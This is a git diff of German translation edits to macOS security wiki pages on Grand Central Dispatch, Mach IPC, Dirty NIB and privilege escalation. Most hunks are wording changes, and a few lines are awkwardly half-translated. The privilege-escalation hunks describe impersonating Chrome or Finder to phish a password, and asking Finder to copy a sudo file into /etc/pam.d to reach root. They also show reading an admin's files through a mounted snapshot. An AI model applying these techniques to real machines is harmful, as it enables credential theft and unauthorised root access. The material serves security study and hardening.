diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md
index c4c0bd56b..ea8fdd415 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md
@@ -6,19 +6,19 @@
**Grand Central Dispatch (GCD),** auch bekannt als **libdispatch** (`libdispatch.dyld`), ist sowohl in macOS als auch in iOS verfügbar. Es ist eine von Apple entwickelte Technologie zur Optimierung der Anwendungsunterstützung für parallele (multithreaded) Ausführung auf Multicore-Hardware.
-**GCD** stellt **FIFO-Warteschlangen** bereit und verwaltet diese, in die Ihre Anwendung **Aufgaben** in Form von **Blockobjekten** einreichen kann. Blöcke, die an Dispatch-Warteschlangen übergeben werden, werden **auf einem Pool von Threads** ausgeführt, der vollständig vom System verwaltet wird. GCD erstellt automatisch Threads zur Ausführung der Aufgaben in den Dispatch-Warteschlangen und plant diese Aufgaben zur Ausführung auf den verfügbaren Kernen.
+**GCD** stellt **FIFO-Warteschlangen** bereit und verwaltet diese, in die Ihre Anwendung **Aufgaben** in Form von **Blockobjekten** **einreichen** kann. Blöcke, die an Dispatch-Warteschlangen übergeben werden, werden **auf einem Pool von Threads** ausgeführt, der vollständig vom System verwaltet wird. GCD erstellt automatisch Threads zur Ausführung der Aufgaben in den Dispatch-Warteschlangen und plant diese Aufgaben zur Ausführung auf den verfügbaren Kernen.
> [!TIP]
-> Zusammenfassend lässt sich sagen, dass Prozesse **Code parallel ausführen** können, indem sie **Codeblöcke an GCD senden**, das sich um deren Ausführung kümmert. Daher erstellen Prozesse keine neuen Threads; **GCD führt den gegebenen Code mit seinem eigenen Pool von Threads aus** (der je nach Bedarf erhöht oder verringert werden kann).
+> Zusammenfassend lässt sich sagen, dass Prozesse **Code parallel ausführen** können, indem sie **Codeblöcke an GCD senden**, das sich um deren Ausführung kümmert. Daher erstellen Prozesse keine neuen Threads; **GCD führt den gegebenen Code mit seinem eigenen Pool von Threads aus** (der nach Bedarf erhöht oder verringert werden kann).
Dies ist sehr hilfreich, um die parallele Ausführung erfolgreich zu verwalten, da die Anzahl der Threads, die Prozesse erstellen, erheblich reduziert und die parallele Ausführung optimiert wird. Dies ist ideal für Aufgaben, die **große Parallelität** erfordern (Brute-Forcing?) oder für Aufgaben, die den Hauptthread nicht blockieren sollten: Zum Beispiel verarbeitet der Hauptthread in iOS UI-Interaktionen, sodass jede andere Funktionalität, die die App zum Hängen bringen könnte (Suchen, Zugriff auf das Web, Lesen einer Datei...), auf diese Weise verwaltet wird.
### Blöcke
-Ein Block ist ein **selbstständiger Abschnitt von Code** (wie eine Funktion mit Argumenten, die einen Wert zurückgibt) und kann auch gebundene Variablen angeben.\
-Auf Compiler-Ebene existieren Blöcke jedoch nicht, sie sind `os_object`s. Jedes dieser Objekte besteht aus zwei Strukturen:
+Ein Block ist ein **selbstenthaltener Abschnitt von Code** (wie eine Funktion mit Argumenten, die einen Wert zurückgibt) und kann auch gebundene Variablen angeben.\
+Allerdings existieren Blöcke auf Compiler-Ebene nicht, sie sind `os_object`s. Jedes dieser Objekte besteht aus zwei Strukturen:
-- **Blockliteral**:
+- **Blockliteral**:
- Es beginnt mit dem **`isa`**-Feld, das auf die Klasse des Blocks zeigt:
- `NSConcreteGlobalBlock` (Blöcke aus `__DATA.__const`)
- `NSConcreteMallocBlock` (Blöcke im Heap)
@@ -57,7 +57,7 @@ Standardwarteschlangen:
- `.root.user-interactive-qos`: Höchste Priorität
- `.root.background-qos.overcommit`
-Beachten Sie, dass das System entscheiden wird, **welche Threads zu welchem Zeitpunkt welche Warteschlangen bearbeiten** (mehrere Threads können in derselben Warteschlange arbeiten oder derselbe Thread kann zu einem bestimmten Zeitpunkt in verschiedenen Warteschlangen arbeiten).
+Beachten Sie, dass das System entscheidet, **welche Threads zu welchem Zeitpunkt welche Warteschlangen bearbeiten** (mehrere Threads können in derselben Warteschlange arbeiten oder derselbe Thread kann zu einem bestimmten Zeitpunkt in verschiedenen Warteschlangen arbeiten).
#### Attribute
@@ -100,7 +100,7 @@ struct BlockDescriptor *descriptor;
// captured variables go here
};
```
-Und dies ist ein Beispiel, um **Parallelismus** mit **`dispatch_async`** zu verwenden:
+Und dies ist ein Beispiel für die Verwendung von **Parallelismus** mit **`dispatch_async`**:
```objectivec
#import
@@ -133,7 +133,7 @@ return 0;
## Swift
**`libswiftDispatch`** ist eine Bibliothek, die **Swift-Bindings** für das Grand Central Dispatch (GCD) Framework bereitstellt, das ursprünglich in C geschrieben wurde.\
-Die **`libswiftDispatch`** Bibliothek umschließt die C GCD APIs in einer benutzerfreundlicheren Swift-Schnittstelle, was es für Swift-Entwickler einfacher und intuitiver macht, mit GCD zu arbeiten.
+Die **`libswiftDispatch`** Bibliothek umschließt die C GCD APIs in einer für Swift freundlicheren Schnittstelle, was es für Swift-Entwickler einfacher und intuitiver macht, mit GCD zu arbeiten.
- **`DispatchQueue.global().sync{ ... }`**
- **`DispatchQueue.global().async{ ... }`**
@@ -170,7 +170,7 @@ sleep(1) // Simulate a long-running task
```
## Frida
-Das folgende Frida-Skript kann verwendet werden, um **in mehrere `dispatch`** Funktionen einzuhaken und den Warteschafennamen, den Backtrace und den Block zu extrahieren: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js)
+Das folgende Frida-Skript kann verwendet werden, um **in mehrere `dispatch`** Funktionen einzugreifen und den Warteschafennamen, den Backtrace und den Block zu extrahieren: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js)
```bash
frida -U -l libdispatch.js
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
index c9b50168f..d16cf2c6d 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
@@ -49,7 +49,7 @@ Mit etwas **Social Engineering** könnten Sie **zum Beispiel Google Chrome imiti
{{#tab name="Chrome Impersonation"}}
Einige Vorschläge:
-- Überprüfen Sie im Dock, ob es ein Chrome gibt, und entfernen Sie in diesem Fall **diesen Eintrag** und **fügen Sie** den **falschen** **Chrome-Eintrag an derselben Stelle** im Dock-Array hinzu.
+- Überprüfen Sie im Dock, ob es ein Chrome gibt, und entfernen Sie in diesem Fall **diesen Eintrag** und **fügen Sie** den **falschen** **Chrome-Eintrag an derselben Stelle** im Dock-Array hinzu.
```bash
#!/bin/sh
@@ -124,9 +124,9 @@ killall Dock
{{#tab name="Finder Impersonation"}}
Einige Vorschläge:
-- Sie **können den Finder nicht aus dem Dock entfernen**, also wenn Sie ihn zum Dock hinzufügen möchten, könnten Sie den gefälschten Finder direkt neben den echten setzen. Dafür müssen Sie **den gefälschten Finder-Eintrag am Anfang des Dock-Arrays hinzufügen**.
-- Eine andere Möglichkeit ist, ihn nicht im Dock zu platzieren und ihn einfach zu öffnen, "Finder fragt, um Finder zu steuern" ist nicht so seltsam.
-- Eine weitere Möglichkeit, um **ohne Passwortabfrage** mit einem schrecklichen Fenster zu root zu eskalieren, ist, den Finder wirklich nach dem Passwort zu fragen, um eine privilegierte Aktion auszuführen:
+- Sie **können den Finder nicht aus dem Dock entfernen**, also wenn Sie ihn zum Dock hinzufügen möchten, könnten Sie den gefälschten Finder direkt neben den echten setzen. Dazu müssen Sie **den gefälschten Finder-Eintrag am Anfang des Dock-Arrays hinzufügen**.
+- Eine andere Möglichkeit ist, ihn nicht im Dock zu platzieren und ihn einfach zu öffnen, "Finder fragt, um den Finder zu steuern" ist nicht so seltsam.
+- Eine weitere Möglichkeit, um **ohne Passwortabfrage** auf Root zu eskalieren, ist, den Finder wirklich nach dem Passwort zu fragen, um eine privilegierte Aktion auszuführen:
- Bitten Sie den Finder, eine neue **`sudo`**-Datei nach **`/etc/pam.d`** zu kopieren (Die Eingabeaufforderung, die nach dem Passwort fragt, wird anzeigen, dass "Finder sudo kopieren möchte")
- Bitten Sie den Finder, ein neues **Authorization Plugin** zu kopieren (Sie könnten den Dateinamen kontrollieren, sodass die Eingabeaufforderung, die nach dem Passwort fragt, anzeigen wird, dass "Finder Finder.bundle kopieren möchte")
```bash
@@ -226,7 +226,7 @@ mkdir /tmp/snap
# Access it
ls /tmp/snap/Users/admin_user # This will work
```
-Eine detailliertere Erklärung kann [**im Originalbericht**](https://theevilbit.github.io/posts/cve_2020_9771/)** gefunden werden.**
+Eine detailliertere Erklärung kann [**im Originalbericht gefunden werden**](https://theevilbit.github.io/posts/cve_2020_9771/)**.**
## Sensible Informationen
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md
index 036e2cf7b..be93629fb 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md
@@ -52,7 +52,7 @@ display dialog theDialogText
### Anderes Beispiel
-Im Beitrag [https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/) finden Sie ein Tutorial, wie man einen Dirty Nib erstellt.
+Im Beitrag [https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/) finden Sie ein Tutorial, wie man einen Dirty Nib erstellt.
### Umgang mit Startbeschränkungen
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md
index 1258ee3ca..9d1c82da7 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md
@@ -6,66 +6,66 @@
### Grundlegende Informationen
-Mach verwendet **Aufgaben** als die **kleinste Einheit** zum Teilen von Ressourcen, und jede Aufgabe kann **mehrere Threads** enthalten. Diese **Aufgaben und Threads sind 1:1 auf POSIX-Prozesse und -Threads abgebildet**.
+Mach verwendet **Tasks** als die **kleinste Einheit** zum Teilen von Ressourcen, und jede Task kann **mehrere Threads** enthalten. Diese **Tasks und Threads sind 1:1 auf POSIX-Prozesse und -Threads abgebildet**.
-Die Kommunikation zwischen Aufgaben erfolgt über Mach Inter-Process Communication (IPC) und nutzt einseitige Kommunikationskanäle. **Nachrichten werden zwischen Ports übertragen**, die eine Art **Nachrichtenwarteschlangen** sind, die vom Kernel verwaltet werden.
+Die Kommunikation zwischen Tasks erfolgt über Mach Inter-Process Communication (IPC) und nutzt einseitige Kommunikationskanäle. **Nachrichten werden zwischen Ports übertragen**, die eine Art **Nachrichtenwarteschlangen** sind, die vom Kernel verwaltet werden.
Ein **Port** ist das **grundlegende** Element von Mach IPC. Er kann verwendet werden, um **Nachrichten zu senden und zu empfangen**.
-Jeder Prozess hat eine **IPC-Tabelle**, in der die **Mach-Ports des Prozesses** gefunden werden können. Der Name eines Mach-Ports ist tatsächlich eine Nummer (ein Zeiger auf das Kernel-Objekt).
+Jeder Prozess hat eine **IPC-Tabelle**, in der die **Mach-Ports des Prozesses** zu finden sind. Der Name eines Mach-Ports ist tatsächlich eine Nummer (ein Zeiger auf das Kernel-Objekt).
-Ein Prozess kann auch einen Portnamen mit bestimmten Rechten **an eine andere Aufgabe** senden, und der Kernel wird diesen Eintrag in der **IPC-Tabelle der anderen Aufgabe** erscheinen lassen.
+Ein Prozess kann auch einen Portnamen mit bestimmten Rechten **an eine andere Task** senden, und der Kernel wird diesen Eintrag in der **IPC-Tabelle der anderen Task** erscheinen lassen.
### Portrechte
-Portrechte, die definieren, welche Operationen eine Aufgabe ausführen kann, sind entscheidend für diese Kommunikation. Die möglichen **Portrechte** sind ([Definitionen hier](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
+Portrechte, die definieren, welche Operationen eine Task ausführen kann, sind entscheidend für diese Kommunikation. Die möglichen **Portrechte** sind ([Definitionen hier](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
-- **Empfangsrecht**, das das Empfangen von Nachrichten, die an den Port gesendet werden, erlaubt. Mach-Ports sind MPSC (multiple-producer, single-consumer) Warteschlangen, was bedeutet, dass es im gesamten System **nur ein Empfangsrecht für jeden Port** geben kann (im Gegensatz zu Pipes, bei denen mehrere Prozesse alle Dateideskriptoren zum Leseende einer Pipe halten können).
-- Eine **Aufgabe mit dem Empfangsrecht** kann Nachrichten empfangen und **Sende-Rechte erstellen**, die es ihr ermöglichen, Nachrichten zu senden. Ursprünglich hat nur die **eigene Aufgabe das Empfangsrecht über ihren Port**.
+- **Empfangsrecht**, das das Empfangen von an den Port gesendeten Nachrichten erlaubt. Mach-Ports sind MPSC (multiple-producer, single-consumer) Warteschlangen, was bedeutet, dass es im gesamten System **nur ein Empfangsrecht für jeden Port** geben kann (im Gegensatz zu Pipes, bei denen mehrere Prozesse alle Dateideskriptoren zum Leseende einer Pipe halten können).
+- Eine **Task mit dem Empfangsrecht** kann Nachrichten empfangen und **Sende-Rechte erstellen**, die es ihr ermöglichen, Nachrichten zu senden. Ursprünglich hat nur die **eigene Task das Empfangsrecht über ihren Port**.
- Wenn der Besitzer des Empfangsrechts **stirbt** oder es tötet, wird das **Sende-Recht nutzlos (toter Name)**.
- **Sende-Recht**, das das Senden von Nachrichten an den Port erlaubt.
-- Das Sende-Recht kann **kloniert** werden, sodass eine Aufgabe, die ein Sende-Recht besitzt, das Recht klonen und **einer dritten Aufgabe gewähren** kann.
-- Beachten Sie, dass **Portrechte** auch über Mach-Nachrichten **übertragen** werden können.
+- Das Sende-Recht kann **kloniert** werden, sodass eine Task, die ein Sende-Recht besitzt, das Recht klonen und **einer dritten Task gewähren** kann.
+- Beachten Sie, dass **Portrechte** auch durch Mach-Nachrichten **übertragen** werden können.
- **Send-once-Recht**, das das Senden einer Nachricht an den Port erlaubt und dann verschwindet.
- Dieses Recht **kann nicht** **kloniert** werden, aber es kann **verschoben** werden.
-- **Portset-Recht**, das ein _Portset_ anstelle eines einzelnen Ports bezeichnet. Das Dequeuen einer Nachricht aus einem Portset dequeuet eine Nachricht von einem der enthaltenen Ports. Portsets können verwendet werden, um gleichzeitig auf mehreren Ports zu hören, ähnlich wie `select`/`poll`/`epoll`/`kqueue` in Unix.
+- **Portset-Recht**, das ein _Portset_ anstelle eines einzelnen Ports bezeichnet. Das Dequeuen einer Nachricht aus einem Portset dequeuert eine Nachricht aus einem der enthaltenen Ports. Portsets können verwendet werden, um gleichzeitig auf mehreren Ports zu hören, ähnlich wie `select`/`poll`/`epoll`/`kqueue` in Unix.
- **Toter Name**, der kein tatsächliches Portrecht ist, sondern lediglich ein Platzhalter. Wenn ein Port zerstört wird, verwandeln sich alle bestehenden Portrechte für den Port in tote Namen.
-**Aufgaben können SEND-Rechte an andere übertragen**, die es ihnen ermöglichen, Nachrichten zurückzusenden. **SEND-Rechte können auch geklont werden, sodass eine Aufgabe das Recht duplizieren und einer dritten Aufgabe geben kann**. Dies, kombiniert mit einem Zwischenprozess, der als **Bootstrap-Server** bekannt ist, ermöglicht eine effektive Kommunikation zwischen Aufgaben.
+**Tasks können SEND-Rechte an andere übertragen**, wodurch diese in der Lage sind, Nachrichten zurückzusenden. **SEND-Rechte können auch kloniert werden, sodass eine Task das Recht duplizieren und einer dritten Task geben kann**. Dies, kombiniert mit einem Zwischenprozess, der als **Bootstrap-Server** bekannt ist, ermöglicht eine effektive Kommunikation zwischen Tasks.
### Datei-Ports
-Datei-Ports ermöglichen es, Dateideskriptoren in Mac-Ports zu kapseln (unter Verwendung von Mach-Port-Rechten). Es ist möglich, einen `fileport` aus einem gegebenen FD mit `fileport_makeport` zu erstellen und einen FD aus einem fileport mit `fileport_makefd` zu erstellen.
+Datei-Ports ermöglichen es, Dateideskriptoren in Mach-Ports zu kapseln (unter Verwendung von Mach-Port-Rechten). Es ist möglich, einen `fileport` aus einem gegebenen FD mit `fileport_makeport` zu erstellen und einen FD aus einem fileport mit `fileport_makefd` zu erstellen.
### Eine Kommunikation herstellen
-Wie bereits erwähnt, ist es möglich, Rechte über Mach-Nachrichten zu senden, jedoch **kann man kein Recht senden, ohne bereits ein Recht zu haben**, um eine Mach-Nachricht zu senden. Wie wird also die erste Kommunikation hergestellt?
+Wie bereits erwähnt, ist es möglich, Rechte mit Mach-Nachrichten zu senden, jedoch **kann man kein Recht senden, ohne bereits ein Recht zu haben**, um eine Mach-Nachricht zu senden. Wie wird also die erste Kommunikation hergestellt?
Dafür ist der **Bootstrap-Server** (**launchd** in mac) beteiligt, da **jeder ein SEND-Recht zum Bootstrap-Server erhalten kann**, ist es möglich, ihn um ein Recht zu bitten, um eine Nachricht an einen anderen Prozess zu senden:
-1. Aufgabe **A** erstellt einen **neuen Port** und erhält das **EMPFANGSRECHT** dafür.
-2. Aufgabe **A**, die Inhaberin des Empfangsrechts, **generiert ein SEND-Recht für den Port**.
-3. Aufgabe **A** stellt eine **Verbindung** mit dem **Bootstrap-Server** her und **sendet ihm das SEND-Recht** für den Port, den sie zu Beginn generiert hat.
+1. Task **A** erstellt einen **neuen Port** und erhält das **EMPFANGSRECHT** dafür.
+2. Task **A**, als Inhaber des Empfangsrechts, **generiert ein SEND-Recht für den Port**.
+3. Task **A** stellt eine **Verbindung** mit dem **Bootstrap-Server** her und **sendet ihm das SEND-Recht** für den Port, den sie zu Beginn generiert hat.
- Denken Sie daran, dass jeder ein SEND-Recht zum Bootstrap-Server erhalten kann.
-4. Aufgabe A sendet eine `bootstrap_register`-Nachricht an den Bootstrap-Server, um **den gegebenen Port mit einem Namen** wie `com.apple.taska` zu verknüpfen.
-5. Aufgabe **B** interagiert mit dem **Bootstrap-Server**, um eine Bootstrap-**Suche nach dem Dienstnamen** (`bootstrap_lookup`) durchzuführen. Damit der Bootstrap-Server antworten kann, sendet Aufgabe B ihm ein **SEND-Recht zu einem Port, den sie zuvor erstellt hat**, innerhalb der Suchnachricht. Wenn die Suche erfolgreich ist, **dupliziert der Server das SEND-Recht**, das von Aufgabe A empfangen wurde, und **überträgt es an Aufgabe B**.
+4. Task A sendet eine `bootstrap_register`-Nachricht an den Bootstrap-Server, um **den gegebenen Port mit einem Namen** wie `com.apple.taska` zu verknüpfen.
+5. Task **B** interagiert mit dem **Bootstrap-Server**, um eine Bootstrap-**Suche nach dem Dienstnamen** (`bootstrap_lookup`) durchzuführen. Damit der Bootstrap-Server antworten kann, sendet Task B ihm ein **SEND-Recht zu einem Port, den es zuvor erstellt hat**, innerhalb der Suchnachricht. Wenn die Suche erfolgreich ist, **dupliziert der Server das SEND-Recht**, das von Task A empfangen wurde, und **überträgt es an Task B**.
- Denken Sie daran, dass jeder ein SEND-Recht zum Bootstrap-Server erhalten kann.
-6. Mit diesem SEND-Recht ist **Aufgabe B** in der Lage, eine **Nachricht** **an Aufgabe A** zu **senden**.
-7. Für eine bidirektionale Kommunikation generiert normalerweise Aufgabe **B** einen neuen Port mit einem **EMPFANGS**-Recht und einem **SEND**-Recht und gibt das **SEND-Recht an Aufgabe A**, damit sie Nachrichten an Aufgabe B senden kann (bidirektionale Kommunikation).
+6. Mit diesem SEND-Recht ist **Task B** in der Lage, eine **Nachricht** **an Task A** zu **senden**.
+7. Für eine bidirektionale Kommunikation generiert normalerweise Task **B** einen neuen Port mit einem **EMPFANGS**-Recht und einem **SEND**-Recht und gibt das **SEND-Recht an Task A**, damit es Nachrichten an TASK B senden kann (bidirektionale Kommunikation).
-Der Bootstrap-Server **kann den Dienstnamen**, der von einer Aufgabe beansprucht wird, **nicht authentifizieren**. Das bedeutet, dass eine **Aufgabe** potenziell **jede Systemaufgabe impersonieren** könnte, indem sie fälschlicherweise **einen Autorisierungsdienstnamen beansprucht** und dann jede Anfrage genehmigt.
+Der Bootstrap-Server **kann den Dienstnamen, der von einer Task beansprucht wird, nicht authentifizieren**. Das bedeutet, dass eine **Task** potenziell **jede System-Task impersonieren** könnte, indem sie fälschlicherweise **einen Autorisierungsdienstnamen beansprucht** und dann jede Anfrage genehmigt.
-Dann speichert Apple die **Namen der systemeigenen Dienste** in sicheren Konfigurationsdateien, die sich in **SIP-geschützten** Verzeichnissen befinden: `/System/Library/LaunchDaemons` und `/System/Library/LaunchAgents`. Neben jedem Dienstnamen wird auch die **assoziierte Binärdatei gespeichert**. Der Bootstrap-Server erstellt und hält ein **EMPFANGSRECHT für jeden dieser Dienstnamen**.
+Dann speichert Apple die **Namen der systemeigenen Dienste** in sicheren Konfigurationsdateien, die sich in **SIP-geschützten** Verzeichnissen befinden: `/System/Library/LaunchDaemons` und `/System/Library/LaunchAgents`. Neben jedem Dienstnamen wird auch die **assoziierte Binärdatei gespeichert**. Der Bootstrap-Server wird ein **EMPFANGSRECHT für jeden dieser Dienstnamen** erstellen und halten.
Für diese vordefinierten Dienste unterscheidet sich der **Suchprozess leicht**. Wenn ein Dienstname gesucht wird, startet launchd den Dienst dynamisch. Der neue Workflow ist wie folgt:
-- Aufgabe **B** initiiert eine Bootstrap-**Suche** nach einem Dienstnamen.
-- **launchd** überprüft, ob die Aufgabe läuft, und wenn nicht, **startet** sie sie.
-- Aufgabe **A** (der Dienst) führt eine **Bootstrap-Check-in**-Operation (`bootstrap_check_in()`) durch. Hier erstellt der **Bootstrap**-Server ein SEND-Recht, behält es und **überträgt das EMPFANGSRECHT an Aufgabe A**.
-- launchd dupliziert das **SEND-Recht und sendet es an Aufgabe B**.
-- Aufgabe **B** generiert einen neuen Port mit einem **EMPFANGS**-Recht und einem **SEND**-Recht und gibt das **SEND-Recht an Aufgabe A** (den Dienst) weiter, damit sie Nachrichten an Aufgabe B senden kann (bidirektionale Kommunikation).
+- Task **B** initiiert eine Bootstrap-**Suche** nach einem Dienstnamen.
+- **launchd** überprüft, ob die Task läuft, und wenn nicht, **startet** sie.
+- Task **A** (der Dienst) führt eine **Bootstrap-Check-in** (`bootstrap_check_in()`) durch. Hier erstellt der **Bootstrap**-Server ein SEND-Recht, behält es und **überträgt das EMPFANGSRECHT an Task A**.
+- launchd dupliziert das **SEND-Recht und sendet es an Task B**.
+- Task **B** generiert einen neuen Port mit einem **EMPFANGS**-Recht und einem **SEND**-Recht und gibt das **SEND-Recht an Task A** (den Dienst) weiter, damit es Nachrichten an TASK B senden kann (bidirektionale Kommunikation).
-Dieser Prozess gilt jedoch nur für vordefinierte Systemaufgaben. Nicht-Systemaufgaben funktionieren weiterhin wie ursprünglich beschrieben, was potenziell eine Impersonation ermöglichen könnte.
+Dieser Prozess gilt jedoch nur für vordefinierte System-Tasks. Nicht-System-Tasks funktionieren weiterhin wie ursprünglich beschrieben, was potenziell eine Imitation ermöglichen könnte.
> [!CAUTION]
> Daher sollte launchd niemals abstürzen, sonst stürzt das gesamte System ab.
@@ -85,17 +85,17 @@ mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;
```
-Prozesse, die über ein _**receive right**_ verfügen, können Nachrichten über einen Mach-Port empfangen. Im Gegensatz dazu wird den **Sendenden** ein _**send**_ oder ein _**send-once right**_ gewährt. Das send-once right ist ausschließlich zum Senden einer einzelnen Nachricht gedacht, nach der es ungültig wird.
+Prozesse, die über ein _**Empfangsrecht**_ verfügen, können Nachrichten über einen Mach-Port empfangen. Im Gegensatz dazu wird den **Sendern** ein _**Senderecht**_ oder ein _**Send-einmal-Recht**_ gewährt. Das Send-einmal-Recht ist ausschließlich zum Senden einer einzelnen Nachricht gedacht, nach der es ungültig wird.
Das anfängliche Feld **`msgh_bits`** ist ein Bitmap:
- Das erste Bit (am signifikantesten) wird verwendet, um anzuzeigen, dass eine Nachricht komplex ist (mehr dazu weiter unten)
- Das 3. und 4. Bit werden vom Kernel verwendet
-- Die **5 am wenigsten signifikanten Bits des 2. Bytes** können für **voucher** verwendet werden: ein anderer Typ von Port, um Schlüssel/Wert-Kombinationen zu senden.
-- Die **5 am wenigsten signifikanten Bits des 3. Bytes** können für **local port** verwendet werden
-- Die **5 am wenigsten signifikanten Bits des 4. Bytes** können für **remote port** verwendet werden
+- Die **5 am wenigsten signifikanten Bits des 2. Bytes** können für **Voucher** verwendet werden: ein anderer Typ von Port, um Schlüssel/Wert-Kombinationen zu senden.
+- Die **5 am wenigsten signifikanten Bits des 3. Bytes** können für **lokalen Port** verwendet werden
+- Die **5 am wenigsten signifikanten Bits des 4. Bytes** können für **remote Port** verwendet werden
-Die Typen, die im Voucher, lokalen und entfernten Ports angegeben werden können, sind (aus [**mach/message.h**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)):
+Die Typen, die im Voucher, lokalen und remote Ports angegeben werden können, sind (aus [**mach/message.h**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)):
```c
#define MACH_MSG_TYPE_MOVE_RECEIVE 16 /* Must hold receive right */
#define MACH_MSG_TYPE_MOVE_SEND 17 /* Must hold send right(s) */
@@ -108,30 +108,30 @@ Die Typen, die im Voucher, lokalen und entfernten Ports angegeben werden können
#define MACH_MSG_TYPE_DISPOSE_SEND 25 /* must hold send right(s) */
#define MACH_MSG_TYPE_DISPOSE_SEND_ONCE 26 /* must hold sendonce right */
```
-Zum Beispiel kann `MACH_MSG_TYPE_MAKE_SEND_ONCE` verwendet werden, um anzuzeigen, dass ein **send-once** **Recht** für diesen Port abgeleitet und übertragen werden sollte. Es kann auch `MACH_PORT_NULL` angegeben werden, um zu verhindern, dass der Empfänger antworten kann.
+Für example, `MACH_MSG_TYPE_MAKE_SEND_ONCE` kann verwendet werden, um anzuzeigen, dass ein **send-once** **Recht** abgeleitet und für diesen Port übertragen werden sollte. Es kann auch `MACH_PORT_NULL` angegeben werden, um zu verhindern, dass der Empfänger antworten kann.
Um eine einfache **zweiseitige Kommunikation** zu erreichen, kann ein Prozess einen **mach port** im mach **Nachrichtenkopf** angeben, der als _Antwortport_ (**`msgh_local_port`**) bezeichnet wird, wo der **Empfänger** der Nachricht eine **Antwort** auf diese Nachricht senden kann.
> [!TIP]
> Beachten Sie, dass diese Art der zweiseitigen Kommunikation in XPC-Nachrichten verwendet wird, die eine Antwort erwarten (`xpc_connection_send_message_with_reply` und `xpc_connection_send_message_with_reply_sync`). Aber **normalerweise werden verschiedene Ports erstellt**, wie zuvor erklärt, um die zweiseitige Kommunikation zu ermöglichen.
-Die anderen Felder des Nachrichtenkopfs sind:
+Die anderen Felder des Nachrichtenkopfes sind:
- `msgh_size`: die Größe des gesamten Pakets.
-- `msgh_remote_port`: der Port, an den diese Nachricht gesendet wird.
+- `msgh_remote_port`: der Port, über den diese Nachricht gesendet wird.
- `msgh_voucher_port`: [mach vouchers](https://robert.sesek.com/2023/6/mach_vouchers.html).
- `msgh_id`: die ID dieser Nachricht, die vom Empfänger interpretiert wird.
> [!CAUTION]
-> Beachten Sie, dass **mach-Nachrichten über einen `mach port` gesendet werden**, der einen **einzelnen Empfänger** und einen **mehreren Sender** Kommunikationskanal darstellt, der im mach-Kernel integriert ist. **Mehrere Prozesse** können **Nachrichten** an einen mach-Port senden, aber zu jedem Zeitpunkt kann nur **ein einzelner Prozess** von ihm lesen.
+> Beachten Sie, dass **mach-Nachrichten über einen `mach port` gesendet werden**, der ein **einzelner Empfänger**, **mehrere Sender** Kommunikationskanal ist, der im mach-Kernel integriert ist. **Mehrere Prozesse** können **Nachrichten** an einen mach-Port senden, aber zu jedem Zeitpunkt kann nur **ein einzelner Prozess** davon lesen.
-Nachrichten werden dann durch den **`mach_msg_header_t`**-Header gebildet, gefolgt vom **Inhalt** und dem **Trailer** (falls vorhanden), und sie können die Erlaubnis zur Antwort darauf gewähren. In diesen Fällen muss der Kernel die Nachricht nur von einer Aufgabe zur anderen weiterleiten.
+Nachrichten werden dann durch den **`mach_msg_header_t`** Kopf gebildet, gefolgt vom **Inhalt** und vom **Trailer** (falls vorhanden), und es kann die Erlaubnis erteilt werden, darauf zu antworten. In diesen Fällen muss der Kernel die Nachricht nur von einer Aufgabe zur anderen weiterleiten.
Ein **Trailer** ist **Informationen, die vom Kernel zur Nachricht hinzugefügt werden** (kann nicht vom Benutzer festgelegt werden), die beim Empfang der Nachricht mit den Flags `MACH_RCV_TRAILER_` angefordert werden können (es gibt verschiedene Informationen, die angefordert werden können).
#### Komplexe Nachrichten
-Es gibt jedoch auch andere, **komplexere** Nachrichten, wie solche, die zusätzliche Portrechte übergeben oder Speicher teilen, bei denen der Kernel auch diese Objekte an den Empfänger senden muss. In diesen Fällen wird das bedeutendste Bit des Headers `msgh_bits` gesetzt.
+Es gibt jedoch auch andere, **komplexere** Nachrichten, wie solche, die zusätzliche Portrechte übergeben oder Speicher teilen, bei denen der Kernel auch diese Objekte an den Empfänger senden muss. In diesen Fällen wird das signifikanteste Bit des Kopfes `msgh_bits` gesetzt.
